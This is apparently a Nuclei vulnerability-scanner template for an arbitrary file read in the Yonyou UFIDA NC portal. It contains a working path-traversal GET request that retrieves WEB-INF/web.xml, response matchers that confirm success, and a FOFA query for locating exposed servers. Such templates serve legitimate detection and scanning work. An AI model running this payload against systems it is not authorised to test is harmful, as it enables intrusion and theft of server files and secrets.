id: yonyou-ufida-nc-lfi

info:
  name: UFIDA NC Portal - Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    There is any file reading in the getFileLocal interface of UFIDA Mobile System Management.
  reference:
    - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8B%E7%A7%BB%E5%8A%A8%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86getFileLocal%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.md
  classification:
    cpe: cpe:2.3:a:yonyou:ufida-nc:*:*:*:*:*:*:*:*
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    vendor: yonyou
    product: ufida-nc
    fofa-query: app="用友-移动系统管理"
  tags: yonyou,ufida,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "nc.bs.framework.server.WebApplicationStartupHook"
          - "<web-app"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cd422e80ad9efbc452cd0492c1d0517e0af5d49794c65d1ce6b1fa299ab2845e02203791b9dd2320d0f20ce8d9a11429d1582253489a66a926ebbbbdef618e7480cb:922c64590222798bb761d5b6d8e72950